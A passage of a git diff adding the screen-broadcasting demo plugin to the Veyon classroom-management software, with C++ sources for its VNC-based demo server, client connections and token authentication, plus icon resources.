m_demoClientHosts.removeAll( computerControlInterface->computer().hostAddress() ); + } + + qDebug() << "DemoFeaturePlugin::stopMasterFeature(): clients:" << m_demoClientHosts; + + // no demo clients left? + if( m_demoClientHosts.isEmpty() ) + { + // then we can stop the server + const FeatureMessage featureMessage( m_demoServerFeature.uid(), StopDemoServer ); + VeyonCore::localComputerControlInterface().sendFeatureMessage( featureMessage ); + } + + return true; + } + + return false; +} + + + +bool DemoFeaturePlugin::handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) +{ + Q_UNUSED(master); + Q_UNUSED(message); + Q_UNUSED(computerControlInterface); + + return false; +} + + + +bool DemoFeaturePlugin::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + if( message.featureUid() == m_demoServerFeature.uid() ) + { + if( server.featureWorkerManager().isWorkerRunning( m_demoServerFeature ) == false ) + { + server.featureWorkerManager().startWorker( m_demoServerFeature, FeatureWorkerManager::ManagedSystemProcess ); + } + + if( message.command() == StartDemoServer ) + { + // add VNC server password to message + server.featureWorkerManager(). + sendMessage( FeatureMessage( m_demoServerFeature.uid(), StartDemoServer ). + addArgument( VncServerPort, VeyonCore::config().vncServerPort() + VeyonCore::sessionId() ). + addArgument( VncServerPassword, VeyonCore::authenticationCredentials().internalVncServerPassword() ). + addArgument( DemoAccessToken, message.argument( DemoAccessToken ) ) ); + } + else + { + // forward message to worker + server.featureWorkerManager().sendMessage( message ); + } + + return true; + } + else if( message.featureUid() == m_fullscreenDemoFeature.uid() || + message.featureUid() == m_windowDemoFeature.uid() ) + { + // if a demo server is started, it's likely that the demo accidentally was + // started on master computer as well therefore we deny starting a demo on + // hosts on which a demo server is running - exception: debug mode + if( server.featureWorkerManager().isWorkerRunning( m_demoServerFeature ) && + VeyonCore::config().logLevel() < Logger::LogLevelDebug ) + { + return false; + } + + if( server.featureWorkerManager().isWorkerRunning( message.featureUid() ) == false && + message.command() != StopDemoClient ) + { + server.featureWorkerManager().startWorker( message.featureUid(), FeatureWorkerManager::ManagedSystemProcess ); + } + + QTcpSocket* socket = dynamic_cast( message.ioDevice() ); + if( socket == nullptr ) + { + qCritical( "DemoFeaturePlugin::handleFeatureMessage( VeyonServer& server,): socket is NULL!" ); + return false; + } + + if( message.command() == StartDemoClient ) + { + // construct a new message as we have to append the peer address as demo server host + FeatureMessage startDemoClientMessage( message.featureUid(), message.command() ); + startDemoClientMessage.addArgument( DemoAccessToken, message.argument( DemoAccessToken ) ); + startDemoClientMessage.addArgument( DemoServerHost, socket->peerAddress().toString() ); + server.featureWorkerManager().sendMessage( startDemoClientMessage ); + } + else + { + // forward message to worker + server.featureWorkerManager().sendMessage( message ); + } + + return true; + } + + return false; +} + + + +bool DemoFeaturePlugin::handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) +{ + Q_UNUSED(worker); + + if( message.featureUid() == m_demoServerFeature.uid() ) + { + switch( message.command() ) + { + case StartDemoServer: + if( m_demoServer == nullptr ) + { + m_demoServer = new DemoServer( message.argument( VncServerPort ).toInt(), + message.argument( VncServerPassword ).toString(), + message.argument( DemoAccessToken ).toString(), + m_configuration, + this ); + } + return true; + + case StopDemoServer: + delete m_demoServer; + m_demoServer = nullptr; + return true; + + default: + break; + } + } + else if( message.featureUid() == m_fullscreenDemoFeature.uid() || + message.featureUid() == m_windowDemoFeature.uid() ) + { + switch( message.command() ) + { + case StartDemoClient: + VeyonCore::authenticationCredentials().setToken( message.argument( DemoAccessToken ).toString() ); + + if( m_demoClient == nullptr ) + { + const auto demoServerHost = message.argument( DemoServerHost ).toString(); + const auto isFullscreenDemo = message.featureUid() == m_fullscreenDemoFeature.uid(); + + qDebug() << "DemoClient: connecting with master" << demoServerHost; + m_demoClient = new DemoClient( demoServerHost, isFullscreenDemo ); + } + return true; + + case StopDemoClient: + delete m_demoClient; + m_demoClient = nullptr; + + QCoreApplication::quit(); + + return true; + + default: + break; + } + } + + return false; +} + + + +ConfigurationPage* DemoFeaturePlugin::createConfigurationPage() +{ + return new DemoConfigurationPage( m_configuration ); +} diff --git a/plugins/demo/DemoFeaturePlugin.h b/plugins/demo/DemoFeaturePlugin.h new file mode 100644 index 0000000..bf0b1bb --- /dev/null +++ b/plugins/demo/DemoFeaturePlugin.h @@ -0,0 +1,124 @@ +/* + * DemoFeaturePlugin.h - declaration of DemoFeaturePlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DEMO_FEATURE_PLUGIN_H +#define DEMO_FEATURE_PLUGIN_H + +#include "ConfigurationPagePluginInterface.h" +#include "DemoConfiguration.h" +#include "FeatureProviderInterface.h" + +class DemoServer; +class DemoClient; + +class DemoFeaturePlugin : public QObject, FeatureProviderInterface, PluginInterface, ConfigurationPagePluginInterface +{ + Q_OBJECT + Q_PLUGIN_METADATA(IID "io.veyon.Veyon.Plugins.PluginFeatureInterface") + Q_INTERFACES(PluginInterface FeatureProviderInterface ConfigurationPagePluginInterface) +public: + DemoFeaturePlugin( QObject* parent = nullptr ); + ~DemoFeaturePlugin() override; + + Plugin::Uid uid() const override + { + return QStringLiteral("1b08265b-348f-4978-acaa-45d4f6b90bd9"); + } + + QVersionNumber version() const override + { + return QVersionNumber( 1, 1 ); + } + + QString name() const override + { + return QStringLiteral("Demonstration"); + } + + QString description() const override + { + return tr( "Give a demonstration by screen broadcasting" ); + } + + QString vendor() const override + { + return QStringLiteral("Veyon Community"); + } + + QString copyright() const override + { + return QStringLiteral("Tobias Junghans"); + } + + const FeatureList& featureList() const override + { + return m_features; + } + + bool startFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool stopFeature( VeyonMasterInterface& master, const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) override; + + bool handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) override; + + bool handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) override; + + bool handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) override; + + ConfigurationPage* createConfigurationPage() override; + +private: + enum Commands { + StartDemoServer, + StopDemoServer, + StartDemoClient, + StopDemoClient + }; + + enum Arguments { + DemoAccessToken, + VncServerPort, + VncServerPassword, + DemoServerHost, + }; + + const Feature m_fullscreenDemoFeature; + const Feature m_windowDemoFeature; + const Feature m_demoServerFeature; + const FeatureList m_features; + + QString m_demoAccessToken; + QStringList m_demoClientHosts; + + DemoConfiguration m_configuration; + + DemoServer* m_demoServer; + DemoClient* m_demoClient; + +}; + +#endif // DEMO_FEATURE_PLUGIN_H diff --git a/plugins/demo/DemoServer.cpp b/plugins/demo/DemoServer.cpp new file mode 100644 index 0000000..981e5e2 --- /dev/null +++ b/plugins/demo/DemoServer.cpp @@ -0,0 +1,296 @@ +/* + * DemoServer.cpp - multi-threaded slim VNC-server for demo-purposes (optimized + * for lot of clients accessing server in read-only-mode) + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include + +#include "DemoConfiguration.h" +#include "DemoServer.h" +#include "DemoServerConnection.h" +#include "VeyonConfiguration.h" + + +DemoServer::DemoServer( int vncServerPort, const QString& vncServerPassword, const QString& demoAccessToken, + const DemoConfiguration& configuration, QObject *parent ) : + QObject( parent ), + m_configuration( configuration ), + m_vncServerPort( vncServerPort ), + m_demoAccessToken( demoAccessToken ), + m_tcpServer( new QTcpServer( this ) ), + m_vncServerSocket( new QTcpSocket( this ) ), + m_vncClientProtocol( m_vncServerSocket, vncServerPassword ), + m_framebufferUpdateTimer( this ), + m_lastFullFramebufferUpdate(), + m_requestFullFramebufferUpdate( false ), + m_keyFrame( 0 ) +{ + connect( m_tcpServer, &QTcpServer::newConnection, this, &DemoServer::acceptPendingConnections ); + + connect( m_vncServerSocket, &QTcpSocket::readyRead, this, &DemoServer::readFromVncServer ); + connect( m_vncServerSocket, &QTcpSocket::disconnected, this, &DemoServer::reconnectToVncServer ); + + connect( &m_framebufferUpdateTimer, &QTimer::timeout, this, &DemoServer::requestFramebufferUpdate ); + + if( m_tcpServer->listen( QHostAddress::Any, VeyonCore::config().demoServerPort() ) == false ) + { + qCritical( "DemoServer: could not listen to demo server port!" ); + return; + } + + m_framebufferUpdateTimer.start( m_configuration.framebufferUpdateInterval() ); + + reconnectToVncServer(); +} + + + +DemoServer::~DemoServer() +{ + qDebug() << Q_FUNC_INFO << "disconnecting signals"; + m_vncServerSocket->disconnect( this ); + m_tcpServer->disconnect( this ); + + qDebug() << Q_FUNC_INFO << "deleting connections"; + + QList l; + while( !( l = findChildren() ).isEmpty() ) + { + delete l.front(); + } + + qDebug() << Q_FUNC_INFO << "deleting server socket"; + delete m_vncServerSocket; + + qDebug() << Q_FUNC_INFO << "deleting TCP server"; + delete m_tcpServer; + + qDebug() << Q_FUNC_INFO << "finished"; +} + + + +void DemoServer::acceptPendingConnections() +{ + if( m_vncClientProtocol.state() != VncClientProtocol::Running ) + { + return; + } + + while( m_tcpServer->hasPendingConnections() ) + { + new DemoServerConnection( m_demoAccessToken, m_tcpServer->nextPendingConnection(), this ); + } +} + + + +void DemoServer::reconnectToVncServer() +{ + m_vncClientProtocol.start(); + + m_vncServerSocket->connectToHost( QHostAddress::LocalHost, m_vncServerPort ); +} + + + +void DemoServer::readFromVncServer() +{ + if( m_vncClientProtocol.state() != VncClientProtocol::Running ) + { + while( m_vncClientProtocol.read() ) + { + } + + if( m_vncClientProtocol.state() == VncClientProtocol::Running ) + { + start(); + } + } + else + { + while( receiveVncServerMessage() ) + { + } + } +} + + + +void DemoServer::requestFramebufferUpdate() +{ + if( m_vncClientProtocol.state() != VncClientProtocol::Running ) + { + return; + } + + if( m_requestFullFramebufferUpdate || + m_lastFullFramebufferUpdate.elapsed() >= m_configuration.keyFrameInterval() * 1000 ) + { + m_vncClientProtocol.requestFramebufferUpdate( false ); + m_lastFullFramebufferUpdate.restart(); + m_requestFullFramebufferUpdate = false; + } + else + { + m_vncClientProtocol.requestFramebufferUpdate( true ); + } +} + + + +bool DemoServer::receiveVncServerMessage() +{ + if( m_vncClientProtocol.receiveMessage() ) + { + if( m_vncClientProtocol.lastMessageType() == rfbFramebufferUpdate ) + { + enqueueFramebufferUpdateMessage( m_vncClientProtocol.lastMessage() ); + } + else + { + qWarning( "DemoServer: skipping server message of type %d", (int) m_vncClientProtocol.lastMessageType() ); + } + + return true; + } + + return false; +} + + + +void DemoServer::enqueueFramebufferUpdateMessage( const QByteArray& message ) +{ + bool isFullUpdate = false; + const auto lastUpdatedRect = m_vncClientProtocol.lastUpdatedRect(); + + if( lastUpdatedRect.x() == 0 && lastUpdatedRect.y() == 0 && + lastUpdatedRect.width() == m_vncClientProtocol.framebufferWidth() && + lastUpdatedRect.height() == m_vncClientProtocol.framebufferHeight() ) + { + isFullUpdate = true; + } + + m_dataLock.lockForWrite(); + + if( isFullUpdate || framebufferUpdateMessageQueueSize() > m_configuration.memoryLimit()*2*1024*1024 ) + { + if( m_keyFrameTimer.elapsed() > 1 ) + { + const auto memTotal = framebufferUpdateMessageQueueSize() / 1024; + qDebug() << Q_FUNC_INFO + << " MEMTOTAL:" << memTotal + << " KB/s:" << ( memTotal * 1000 ) / m_keyFrameTimer.elapsed(); + } + m_keyFrameTimer.restart(); + ++m_keyFrame; + m_framebufferUpdateMessages.clear(); + } + + m_framebufferUpdateMessages.append( message ); + + m_dataLock.unlock(); + + // we're about to reach memory limits? + if( framebufferUpdateMessageQueueSize() > m_configuration.memoryLimit() * 1024 * 1024 ) + { + // then request a full update so we can clear our queue + m_requestFullFramebufferUpdate = true; + } +} + + + +qint64 DemoServer::framebufferUpdateMessageQueueSize() const +{ + qint64 size = 0; + + for( const auto& message : qAsConst( m_framebufferUpdateMessages ) ) + { + size += message.size(); + } + + return size; +} + + + +void DemoServer::start() +{ + setVncServerPixelFormat(); + setVncServerEncodings(); + + m_requestFullFramebufferUpdate = true; + + requestFramebufferUpdate(); + + while( receiveVncServerMessage() ) + { + } + + acceptPendingConnections(); +} + + + +bool DemoServer::setVncServerPixelFormat() +{ + rfbPixelFormat format; + + format.bitsPerPixel = 32; + format.depth = 32; + format.bigEndian = qFromBigEndian( 1 ) == 1 ? true : false; + format.trueColour = 1; + format.redShift = 16; + format.greenShift = 8; + format.blueShift = 0; + format.redMax = 0xff; + format.greenMax = 0xff; + format.blueMax = 0xff; + format.pad1 = 0; + format.pad2 = 0; + + return m_vncClientProtocol.setPixelFormat( format ); +} + + + +bool DemoServer::setVncServerEncodings() +{ + return m_vncClientProtocol. + setEncodings( { + rfbEncodingUltraZip, + rfbEncodingUltra, + rfbEncodingCopyRect, + rfbEncodingHextile, + rfbEncodingCoRRE, + rfbEncodingRRE, + rfbEncodingRaw, + rfbEncodingCompressLevel9, + rfbEncodingQualityLevel7, + rfbEncodingNewFBSize, + rfbEncodingLastRect + } ); +} diff --git a/plugins/demo/DemoServer.h b/plugins/demo/DemoServer.h new file mode 100644 index 0000000..b8f23f9 --- /dev/null +++ b/plugins/demo/DemoServer.h @@ -0,0 +1,113 @@ +/* + * DemoServer.h - multi-threaded slim VNC-server for demo-purposes (optimized + * for lot of clients accessing server in read-only-mode) + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DEMO_SERVER_H +#define DEMO_SERVER_H + +#include +#include +#include + +#include "VncClientProtocol.h" + +class DemoConfiguration; +class QTcpServer; + +class DemoServer : public QObject +{ + Q_OBJECT +public: + typedef QVector MessageList; + + DemoServer( int vncServerPort, const QString& vncServerPassword, const QString& demoAccessToken, + const DemoConfiguration& configuration, QObject *parent ); + ~DemoServer() override; + + const DemoConfiguration& configuration() const + { + return m_configuration; + } + + const QByteArray& serverInitMessage() const + { + return m_vncClientProtocol.serverInitMessage(); + } + + void lockDataForRead() + { + m_dataLock.lockForRead(); + } + + void unlockData() + { + m_dataLock.unlock(); + } + + int keyFrame() const + { + return m_keyFrame; + } + + const MessageList& framebufferUpdateMessages() const + { + return m_framebufferUpdateMessages; + } + +private slots: + void acceptPendingConnections(); + void reconnectToVncServer(); + void readFromVncServer(); + void requestFramebufferUpdate(); + +private: + bool receiveVncServerMessage(); + void enqueueFramebufferUpdateMessage( const QByteArray& message ); + + qint64 framebufferUpdateMessageQueueSize() const; + + void start(); + bool setVncServerPixelFormat(); + bool setVncServerEncodings(); + + const DemoConfiguration& m_configuration; + const int m_vncServerPort; + const QString m_demoAccessToken; + + QTcpServer* m_tcpServer; + QTcpSocket* m_vncServerSocket; + VncClientProtocol m_vncClientProtocol; + + QReadWriteLock m_dataLock; + QTimer m_framebufferUpdateTimer; + QElapsedTimer m_lastFullFramebufferUpdate; + QElapsedTimer m_keyFrameTimer; + bool m_requestFullFramebufferUpdate; + + int m_keyFrame; + MessageList m_framebufferUpdateMessages; + +} ; + +#endif diff --git a/plugins/demo/DemoServerConnection.cpp b/plugins/demo/DemoServerConnection.cpp new file mode 100644 index 0000000..28bf248 --- /dev/null +++ b/plugins/demo/DemoServerConnection.cpp @@ -0,0 +1,173 @@ +/* + * DemoServer.cpp - multi-threaded slim VNC-server for demo-purposes (optimized + * for lot of clients accessing server in read-only-mode) + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "DemoConfiguration.h" +#include "DemoServer.h" +#include "DemoServerConnection.h" + + +DemoServerConnection::DemoServerConnection( const QString& demoAccessToken, + QTcpSocket* socket, + DemoServer* demoServer ) : + QObject( demoServer ), + m_demoServer( demoServer ), + m_socket( socket ), + m_vncServerClient(), + m_serverProtocol( demoAccessToken, m_socket, &m_vncServerClient ), + m_rfbClientToServerMessageSizes( { + std::pair( rfbSetPixelFormat, sz_rfbSetPixelFormatMsg ), + std::pair( rfbFramebufferUpdateRequest, sz_rfbFramebufferUpdateRequestMsg ), + std::pair( rfbKeyEvent, sz_rfbKeyEventMsg ), + std::pair( rfbPointerEvent, sz_rfbPointerEventMsg ), + } ), + m_keyFrame( -1 ), + m_framebufferUpdateMessageIndex( 0 ), + m_framebufferUpdateInterval( m_demoServer->configuration().framebufferUpdateInterval() ) +{ + connect( m_socket, &QTcpSocket::readyRead, this, &DemoServerConnection::processClient ); + connect( m_socket, &QTcpSocket::disconnected, this, &DemoServerConnection::deleteLater ); + + m_serverProtocol.setServerInitMessage( m_demoServer->serverInitMessage() ); + m_serverProtocol.start(); +} + + + +DemoServerConnection::~DemoServerConnection() +{ + delete m_socket; +} + + + +void DemoServerConnection::processClient() +{ + if( m_serverProtocol.state() != VncServerProtocol::Running ) + { + while( m_serverProtocol.read() ) + { + } + + // try again later in case we could not proceed because of + // external protocol dependencies or in case we're finished + // and already have RFB messages in receive queue + QTimer::singleShot( ProtocolRetryTime, this, &DemoServerConnection::processClient ); + } + else + { + while( receiveClientMessage() ) + { + } + } +} + + + +bool DemoServerConnection::receiveClientMessage() +{ + char messageType = 0; + if( m_socket->peek( &messageType, sizeof(messageType) ) != sizeof(messageType) ) + { + return false; + } + + switch( messageType ) + { + case rfbSetEncodings: + if( m_socket->bytesAvailable() >= sz_rfbSetEncodingsMsg ) + { + rfbSetEncodingsMsg setEncodingsMessage; + if( m_socket->peek( (char *) &setEncodingsMessage, sz_rfbSetEncodingsMsg ) == sz_rfbSetEncodingsMsg ) + { + const qint64 totalSize = sz_rfbSetEncodingsMsg + qFromBigEndian(setEncodingsMessage.nEncodings) * sizeof(uint32_t); + if( m_socket->bytesAvailable() >= totalSize ) + { + return m_socket->read( totalSize ).size() == totalSize; + } + } + } + break; + + default: + if( m_rfbClientToServerMessageSizes.contains( messageType ) == false ) + { + qCritical( "DemoServerConnection::receiveMessageFromClient(): received unknown message type: %d", (int) messageType ); + m_socket->close(); + return false; + } + + // do not yet read any data if not enough is available for reading + if( m_socket->bytesAvailable() < m_rfbClientToServerMessageSizes[messageType] ) + { + return false; + } + + m_socket->read( m_rfbClientToServerMessageSizes[messageType] ); + + if( messageType == rfbFramebufferUpdateRequest ) + { + sendFramebufferUpdate(); + } + + return true; + } + + return false; +} + + + +void DemoServerConnection::sendFramebufferUpdate() +{ + m_demoServer->lockDataForRead(); + + const auto& framebufferUpdateMessages = m_demoServer->framebufferUpdateMessages(); + + const int framebufferUpdateMessageCount = framebufferUpdateMessages.count(); + + if( m_demoServer->keyFrame() != m_keyFrame || + m_framebufferUpdateMessageIndex > framebufferUpdateMessageCount ) + { + m_framebufferUpdateMessageIndex = 0; + m_keyFrame = m_demoServer->keyFrame(); + } + + bool sentUpdates = false; + for( ; m_framebufferUpdateMessageIndex < framebufferUpdateMessageCount; ++m_framebufferUpdateMessageIndex ) + { + m_socket->write( framebufferUpdateMessages[m_framebufferUpdateMessageIndex] ); + sentUpdates = true; + } + + m_demoServer->unlockData(); + + if( sentUpdates == false ) + { + // did not send updates but client still waiting for update? then try again soon + QTimer::singleShot( m_framebufferUpdateInterval, this, &DemoServerConnection::sendFramebufferUpdate ); + } +} diff --git a/plugins/demo/DemoServerConnection.h b/plugins/demo/DemoServerConnection.h new file mode 100644 index 0000000..3506609 --- /dev/null +++ b/plugins/demo/DemoServerConnection.h @@ -0,0 +1,71 @@ +/* + * DemoServerConnection.h - header file for DemoServerConnection class + * + * Copyright (c) 2006-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DEMO_SERVER_CONNECTION_H +#define DEMO_SERVER_CONNECTION_H + +#include "DemoServerProtocol.h" + +class DemoServer; + +// clazy:excludeall=ctor-missing-parent-argument + +// the demo server creates an instance of this class for each client connection, +// i.e. each client is connected to a different server thread for best +// performance +class DemoServerConnection : public QObject +{ + Q_OBJECT +public: + enum { + ProtocolRetryTime = 250, + }; + + DemoServerConnection( const QString& demoAccessToken, QTcpSocket* socket, DemoServer* demoServer ); + ~DemoServerConnection() override; + +public slots: + void processClient(); + void sendFramebufferUpdate(); + +private: + bool receiveClientMessage(); + + DemoServer* m_demoServer; + + QTcpSocket* m_socket; + + VncServerClient m_vncServerClient; + DemoServerProtocol m_serverProtocol; + + const QMap m_rfbClientToServerMessageSizes; + + int m_keyFrame; + int m_framebufferUpdateMessageIndex; + + const int m_framebufferUpdateInterval; + +} ; + +#endif diff --git a/plugins/demo/DemoServerProtocol.cpp b/plugins/demo/DemoServerProtocol.cpp new file mode 100644 index 0000000..e98f9de --- /dev/null +++ b/plugins/demo/DemoServerProtocol.cpp @@ -0,0 +1,88 @@ +/* + * DemoServerProtocol.cpp - implementation of DemoServerProtocol class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "DemoServerProtocol.h" +#include "VariantArrayMessage.h" +#include "VncServerClient.h" + + +DemoServerProtocol::DemoServerProtocol( const QString& demoAccessToken, QTcpSocket* socket, VncServerClient* client ) : + VncServerProtocol( socket, client ), + m_demoAccessToken( demoAccessToken ) +{ +} + + + +QVector DemoServerProtocol::supportedAuthTypes() const +{ + return { RfbVeyonAuth::Token }; +} + + + +void DemoServerProtocol::processAuthenticationMessage( VariantArrayMessage& message ) +{ + if( client()->authType() == RfbVeyonAuth::Token ) + { + client()->setAuthState( performTokenAuthentication( message ) ); + } + else + { + client()->setAuthState( VncServerClient::AuthFinishedFail ); + } +} + + + +void DemoServerProtocol::performAccessControl() +{ + client()->setAccessControlState( VncServerClient::AccessControlSuccessful ); +} + + + +VncServerClient::AuthState DemoServerProtocol::performTokenAuthentication( VariantArrayMessage& message ) +{ + switch( client()->authState() ) + { + case VncServerClient::AuthInit: + return VncServerClient::AuthToken; + + case VncServerClient::AuthToken: + if( message.read().toString() == m_demoAccessToken ) + { + qDebug( "DemoServerProtocol::performTokenAuthentication(): SUCCESS" ); + return VncServerClient::AuthFinishedSuccess; + } + + qDebug( "DemoServerProtocol::performTokenAuthentication(): FAIL" ); + return VncServerClient::AuthFinishedFail; + + default: + break; + } + + return VncServerClient::AuthFinishedFail; +} diff --git a/plugins/demo/DemoServerProtocol.h b/plugins/demo/DemoServerProtocol.h new file mode 100644 index 0000000..1912e16 --- /dev/null +++ b/plugins/demo/DemoServerProtocol.h @@ -0,0 +1,50 @@ +/* + * DemoServerProtocol.h - header file for DemoServerProtocol class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef DEMO_SERVER_PROTOCOL_H +#define DEMO_SERVER_PROTOCOL_H + +#include "VncServerClient.h" +#include "VncServerProtocol.h" + +// clazy:excludeall=copyable-polymorphic + +class DemoServerProtocol : public VncServerProtocol +{ +public: + DemoServerProtocol( const QString& demoAccessToken, QTcpSocket* socket, VncServerClient* client ); + +protected: + QVector supportedAuthTypes() const override; + void processAuthenticationMessage( VariantArrayMessage& message ) override; + void performAccessControl() override; + +private: + VncServerClient::AuthState performTokenAuthentication( VariantArrayMessage& message ); + + const QString m_demoAccessToken; + +} ; + +#endif diff --git a/plugins/demo/demo.qrc b/plugins/demo/demo.qrc new file mode 100644 index 0000000..f99f629 --- /dev/null +++ b/plugins/demo/demo.qrc @@ -0,0 +1,7 @@ + + + presentation-fullscreen.png + presentation-window.png + window-duplicate.png + + diff --git a/plugins/demo/presentation-fullscreen.png b/plugins/demo/presentation-fullscreen.png new file mode 100644 index 0000000000000000000000000000000000000000..bcaf791f62c9d0f6588527201e5bd7a30b848f46 GIT binary patch literal 354 zcmeAS@N?(olHy`uVBq!ia0vp^4Is?H3?#oinD`S&F&8^|hH!9j+9gP2NC6ck2l#}z z0_h)9*ndpr_%V&^$29IA(|Lc);Quj0;Kxj%pRgRTJ_f5TnXCj>CcTO_Cz zmRz#>$Hc(!FK@M#ec$@;bKmr@s{YY^GOmGvk%@&vK*0gRh>+XB&ah!dbt9^pQ{<C00003b3#c}2nYz< z;ZNWI000SaNLh0L01ejw01ejxLMWSf0000PbVXQnQ*UN;cVTj60C#tHE@^ISb7Ns} zWiD@WXPfRk8UO$Rr%+5(MF0Q*8GZ2?fAJcD@*0Ek8in#2hw~bV^Barv8;$cDkMtXn z^c<7)9F_GPm-QT(^&Fe^9i8?apY|Q0_8p`49i{gkr}rMI_a3YG9ErkVvnQNUxDeuaQcxl1i|WOR$qnu#-%&lTERdPO+6wvX)S? zmQk{nQL~p)vzJq|m{YWvRJ52?w3$`3nO3!$SGAg0wwqbD#uOvR6(qh$rmTe z7%0jaDa#ou%o;1r8!XKnEzTS+&mAw%9x%`zG0`6~(I7I?Av4nmPK-?=q_>~CwmJ9fo4)~c7`I;2@n-}?=8u^|b z`JW;Apd|UCC;6i)`lK!TrZD=aGy14DvT5~p00001bW%=J06^y0W&i*Hs7XXYRCwC$ z*|816Fcd}67l}Q>B1r5(Hi42+7z8m%HZe`g6xbFbBIh)&zI5Xhj+_Jl0NA@BNzRSK z&t;t&=O0N9Nm4qWqG$d;06pEf1*rQ1 z!-fd8S2c_(r@! + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "DesktopServiceObject.h" + + +DesktopServiceObject::DesktopServiceObject( const DesktopServiceObject& other ) : + m_type( other.type() ), + m_name( other.name() ), + m_path( other.path() ), + m_uid( other.uid() ) +{ +} + + + +DesktopServiceObject::DesktopServiceObject( DesktopServiceObject::Type type, + const Name& name, + const QString& path, + Uid uid ) : + m_type( type ), + m_name( name ), + m_path( path ), + m_uid( uid ) +{ + if( m_uid.isNull() ) + { + m_uid = QUuid::createUuid(); + } +} + + + 